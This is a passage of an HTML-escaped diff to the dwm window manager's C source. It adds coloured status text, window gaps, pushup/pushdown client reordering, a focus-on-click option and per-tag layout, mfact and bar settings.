+&nbsp;&nbsp;&nbsp;&nbsp;int i, ox = dc.x;<br />
+<br />
+&nbsp;&nbsp;&nbsp;&nbsp;while( *ptr ) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for( i=0; *ptr &lt; 0 || *ptr &gt; NUMCOLORS; i++, ptr++);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( !*ptr ) break;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c=*ptr;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*ptr=0;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( i ) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.w = selmon-&gt;ww - dc.x;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(buf, col, first);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.x += textnw(buf, i) + textnw(&amp;c,1);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( first ) dc.x += ( dc.font.ascent + dc.font.descent ) / 2;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;first = False;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else if( first ) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ox = dc.x += textnw(&amp;c,1);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*ptr = c;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;col = dc.colors[ c-1 &#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf = ++ptr;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( !first ) dc.x-=(dc.font.ascent+dc.font.descent)/2;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;drawtext(buf, col, True);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.x = ox;<br />
+}<br />
+<br />
 void<br />
-drawsquare(Bool filled, Bool empty, Bool invert, unsigned long col[ColLast&#93;) {<br />
+drawsquare(Bool filled, Bool empty, unsigned long col[ColLast&#93;) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;int x;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XGCValues gcv;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XRectangle r = { dc.x, dc.y, dc.w, dc.h };<br />
 <br />
-&nbsp;&nbsp;&nbsp;&nbsp;gcv.foreground = col[invert ? ColBG : ColFG&#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;gcv.foreground = col[ ColFG &#93;;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XChangeGC(dpy, dc.gc, GCForeground, &amp;gcv);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;x = (dc.font.ascent + dc.font.descent + 2) / 4;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;r.x = dc.x + 1;<br />
@@ -761,18 +835,18 @@<br />
 }<br />
 <br />
 void<br />
-drawtext(const char *text, unsigned long col[ColLast&#93;, Bool invert) {<br />
+drawtext(const char *text, unsigned long col[ColLast&#93;, Bool pad) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;char buf[256&#93;;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;int i, x, y, h, len, olen;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XRectangle r = { dc.x, dc.y, dc.w, dc.h };<br />
 <br />
-&nbsp;&nbsp;&nbsp;&nbsp;XSetForeground(dpy, dc.gc, col[invert ? ColFG : ColBG&#93;);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;XSetForeground(dpy, dc.gc, col[ ColBG &#93;);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XFillRectangles(dpy, dc.drawable, dc.gc, &amp;r, 1);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(!text)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;olen = strlen(text);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;h = dc.font.ascent + dc.font.descent;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;y = dc.y + (dc.h / 2) - (h / 2) + dc.font.ascent;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;h = pad ? (dc.font.ascent + dc.font.descent) : 0;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;y = dc.y + ((dc.h + dc.font.ascent - dc.font.descent) / 2);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;x = dc.x + (h / 2);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;/* shorten text if necessary */<br />
 &nbsp;&nbsp;&nbsp;&nbsp;for(len = MIN(olen, sizeof buf); len &amp;&amp; textnw(text, len) &gt; dc.w - h; len--);<br />
@@ -781,7 +855,7 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;memcpy(buf, text, len);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(len &lt; olen)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(i = len; i &amp;&amp; i &gt; len - 3; buf[--i&#93; = '.');<br />
-&nbsp;&nbsp;&nbsp;&nbsp;XSetForeground(dpy, dc.gc, col[invert ? ColBG : ColFG&#93;);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;XSetForeground(dpy, dc.gc, col[ ColFG &#93;);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(dc.font.set)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XmbDrawString(dpy, dc.drawable, dc.font.set, dc.gc, x, y, buf, len);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;else<br />
@@ -796,14 +870,16 @@<br />
 <br />
 &nbsp;&nbsp;&nbsp;&nbsp;if((ev-&gt;mode != NotifyNormal || ev-&gt;detail == NotifyInferior) &amp;&amp; ev-&gt;window != root)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;if((m = wintomon(ev-&gt;window)) &amp;&amp; m != selmon) {<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unfocus(selmon-&gt;sel, True);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon = m;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(!focusonclick) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((m = wintomon(ev-&gt;window)) &amp;&amp; m != selmon) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unfocus(selmon-&gt;sel, True);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon = m;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((c = wintoclient(ev-&gt;window)))<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;focus(c);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;focus(NULL);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;}<br />
-&nbsp;&nbsp;&nbsp;&nbsp;if((c = wintoclient(ev-&gt;window)))<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;focus(c);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;else<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;focus(NULL);<br />
 }<br />
 <br />
 void<br />
@@ -830,7 +906,7 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;detachstack(c);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;attachstack(c);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;grabbuttons(c, True);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XSetWindowBorder(dpy, c-&gt;win, dc.sel[ColBorder&#93;);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XSetWindowBorder(dpy, c-&gt;win, dc.colors[1&#93;[ColBorder&#93;);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XSetInputFocus(dpy, c-&gt;win, RevertToPointerRoot, CurrentTime);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;else<br />
@@ -1139,7 +1215,7 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;wc.border_width = c-&gt;bw;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XConfigureWindow(dpy, w, CWBorderWidth, &amp;wc);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;XSetWindowBorder(dpy, w, dc.norm[ColBorder&#93;);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;XSetWindowBorder(dpy, w, dc.colors[0&#93;[ColBorder&#93;);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;configure(c); /* propagates border_width, if size doesn't change */<br />
 &nbsp;&nbsp;&nbsp;&nbsp;updatesizehints(c);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XSelectInput(dpy, w, EnterWindowMask|FocusChangeMask|PropertyChangeMask|StructureNotifyMask);<br />
@@ -1189,7 +1265,7 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(n &gt; 0) /* override layout symbol */<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;snprintf(m-&gt;ltsymbol, sizeof m-&gt;ltsymbol, "[%d&#93;", n);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;for(c = nexttiled(m-&gt;clients); c; c = nexttiled(c-&gt;next))<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resize(c, m-&gt;wx, m-&gt;wy, m-&gt;ww - 2 * c-&gt;bw, m-&gt;wh - 2 * c-&gt;bw, False);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resize_orig_gapless(c, m-&gt;wx, m-&gt;wy, m-&gt;ww - 2 * c-&gt;bw, m-&gt;wh - 2 * c-&gt;bw, False);<br />
 }<br />
 <br />
 void<br />
@@ -1235,7 +1311,7 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;togglefloating(NULL);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!selmon-&gt;lt[selmon-&gt;sellt&#93;-&gt;arrange || c-&gt;isfloating)<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resize(c, nx, ny, c-&gt;w, c-&gt;h, True);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resize_orig_gapless(c, nx, ny, c-&gt;w, c-&gt;h, True);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;} while(ev.type != ButtonRelease);<br />
@@ -1330,6 +1406,65 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;}<br />
 }<br />
 <br />
+Client *<br />
+prevtiled(Client *c) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *p, *r;<br />
+<br />
+&nbsp;&nbsp;&nbsp;&nbsp;for(p = selmon-&gt;clients, r = NULL; p &amp;&amp; p != c; p = p-&gt;next)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!p-&gt;isfloating &amp;&amp; ISVISIBLE(p))<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r = p;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;return r;<br />
+}<br />
+<br />
+void<br />
+pushup(const Arg *arg) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *sel = selmon-&gt;sel;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *c;<br />
+<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(!sel || sel-&gt;isfloating)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if((c = prevtiled(sel))) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* attach before c */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;detach(sel);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sel-&gt;next = c;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(selmon-&gt;clients == c)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;clients = sel;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(c = selmon-&gt;clients; c-&gt;next != sel-&gt;next; c = c-&gt;next);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c-&gt;next = sel;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;} else {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* move to the end */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(c = sel; c-&gt;next; c = c-&gt;next);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;detach(sel);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sel-&gt;next = NULL;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c-&gt;next = sel;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;focus(sel);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;arrange(selmon);<br />
+}<br />
+<br />
+void<br />
+pushdown(const Arg *arg) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *sel = selmon-&gt;sel;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Client *c;<br />
+<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(!sel || sel-&gt;isfloating)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if((c = nexttiled(sel-&gt;next))) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* attach after c */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;detach(sel);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sel-&gt;next = c-&gt;next;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c-&gt;next = sel;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;} else {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* move to the front */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;detach(sel);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;attach(sel);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;focus(sel);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;arrange(selmon);<br />
+}<br />
+<br />
 void<br />
 quit(const Arg *arg) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;running = False;<br />
@@ -1345,6 +1480,20 @@<br />
 resizeclient(Client *c, int x, int y, int w, int h) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XWindowChanges wc;<br />
 <br />
+&nbsp;&nbsp;&nbsp;&nbsp;c-&gt;oldx = c-&gt;x; c-&gt;x = wc.x = x + gappx;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;c-&gt;oldy = c-&gt;y; c-&gt;y = wc.y = y + gappx;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;c-&gt;oldw = c-&gt;w; c-&gt;w = wc.width = w - 2 * gappx;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;c-&gt;oldh = c-&gt;h; c-&gt;h = wc.height = h - 2 * gappx;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;wc.border_width = c-&gt;bw;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;XConfigureWindow(dpy, c-&gt;win, CWX|CWY|CWWidth|CWHeight|CWBorderWidth, &amp;wc);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;configure(c);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;XSync(dpy, False);<br />
+}<br />
+<br />
+void<br />
+resize_orig_gapless(Client *c, int x, int y, int w, int h, Bool interact) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;XWindowChanges wc;<br />
+<br />
 &nbsp;&nbsp;&nbsp;&nbsp;c-&gt;oldx = c-&gt;x; c-&gt;x = wc.x = x;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;c-&gt;oldy = c-&gt;y; c-&gt;y = wc.y = y;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;c-&gt;oldw = c-&gt;w; c-&gt;w = wc.width = w;<br />
@@ -1353,7 +1502,7 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XConfigureWindow(dpy, c-&gt;win, CWX|CWY|CWWidth|CWHeight|CWBorderWidth, &amp;wc);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;configure(c);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XSync(dpy, False);<br />
-}<br />
+ }<br />
 <br />
 void<br />
 resizemouse(const Arg *arg) {<br />
@@ -1494,7 +1643,7 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(!arg || !arg-&gt;v || arg-&gt;v != selmon-&gt;lt[selmon-&gt;sellt&#93;)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;sellt ^= 1;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(arg &amp;&amp; arg-&gt;v)<br />
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;lt[selmon-&gt;sellt&#93; = (Layout *)arg-&gt;v;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;lt[selmon-&gt;sellt&#93; = selmon-&gt;lts[selmon-&gt;curtag&#93; = (Layout *)arg-&gt;v;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;strncpy(selmon-&gt;ltsymbol, selmon-&gt;lt[selmon-&gt;sellt&#93;-&gt;symbol, sizeof selmon-&gt;ltsymbol);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(selmon-&gt;sel)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arrange(selmon);<br />
@@ -1512,13 +1661,15 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;f = arg-&gt;f &lt; 1.0 ? arg-&gt;f + selmon-&gt;mfact : arg-&gt;f - 1.0;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(f &lt; 0.1 || f &gt; 0.9)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
-&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;mfact = f;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;mfact =&nbsp;&nbsp;selmon-&gt;mfacts[selmon-&gt;curtag&#93; = f;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;arrange(selmon);<br />
 }<br />
 <br />
 void<br />
 setup(void) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XSetWindowAttributes wa;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Monitor *m;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned int i;<br />
 <br />
 &nbsp;&nbsp;&nbsp;&nbsp;/* clean up any zombies immediately */<br />
 &nbsp;&nbsp;&nbsp;&nbsp;sigchld(0);<br />
@@ -1544,18 +1695,37 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;cursor[CurResize&#93; = XCreateFontCursor(dpy, XC_sizing);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;cursor[CurMove&#93; = XCreateFontCursor(dpy, XC_fleur);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;/* init appearance */<br />
-&nbsp;&nbsp;&nbsp;&nbsp;dc.norm[ColBorder&#93; = getcolor(normbordercolor);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;dc.norm[ColBG&#93; = getcolor(normbgcolor);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;dc.norm[ColFG&#93; = getcolor(normfgcolor);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;dc.sel[ColBorder&#93; = getcolor(selbordercolor);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;dc.sel[ColBG&#93; = getcolor(selbgcolor);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;dc.sel[ColFG&#93; = getcolor(selfgcolor);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;for(int i=0; i&lt;NUMCOLORS; i++) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.colors[i&#93;[ColBorder&#93; = getcolor( colors[i&#93;[ColBorder&#93; );<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.colors[i&#93;[ColFG&#93; = getcolor( colors[i&#93;[ColFG&#93; );<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.colors[i&#93;[ColBG&#93; = getcolor( colors[i&#93;[ColBG&#93; );<br />
+&nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;dc.drawable = XCreatePixmap(dpy, root, DisplayWidth(dpy, screen), bh, DefaultDepth(dpy, screen));<br />
 &nbsp;&nbsp;&nbsp;&nbsp;dc.gc = XCreateGC(dpy, root, 0, NULL);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XSetLineAttributes(dpy, dc.gc, 1, LineSolid, CapButt, JoinMiter);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(!dc.font.set)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XSetFont(dpy, dc.gc, dc.font.xfont-&gt;fid);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;/* init bars */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* init tags */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(m = mons; m; m = m-&gt;next)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m-&gt;curtag = m-&gt;prevtag = 1;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* init mfacts */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(m = mons; m; m = m-&gt;next) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(i=0; i &lt; LENGTH(tags) + 1 ; i++) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m-&gt;mfacts[i&#93; = m-&gt;mfact;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* init layouts */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(m = mons; m; m = m-&gt;next) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(i=0; i &lt; LENGTH(tags) + 1; i++) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m-&gt;lts[i&#93; = initlayouts[i&#93; &amp;&amp; initlayouts[i&#93; &lt; LENGTH(layouts) ? &amp;layouts[initlayouts[i&#93;&#93; : &amp;layouts[0&#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* init bars */<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(m = mons; m; m = m-&gt;next) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(i=0; i &lt; LENGTH(tags) + 1; i++) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m-&gt;showbars[i&#93; = m-&gt;showbar;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
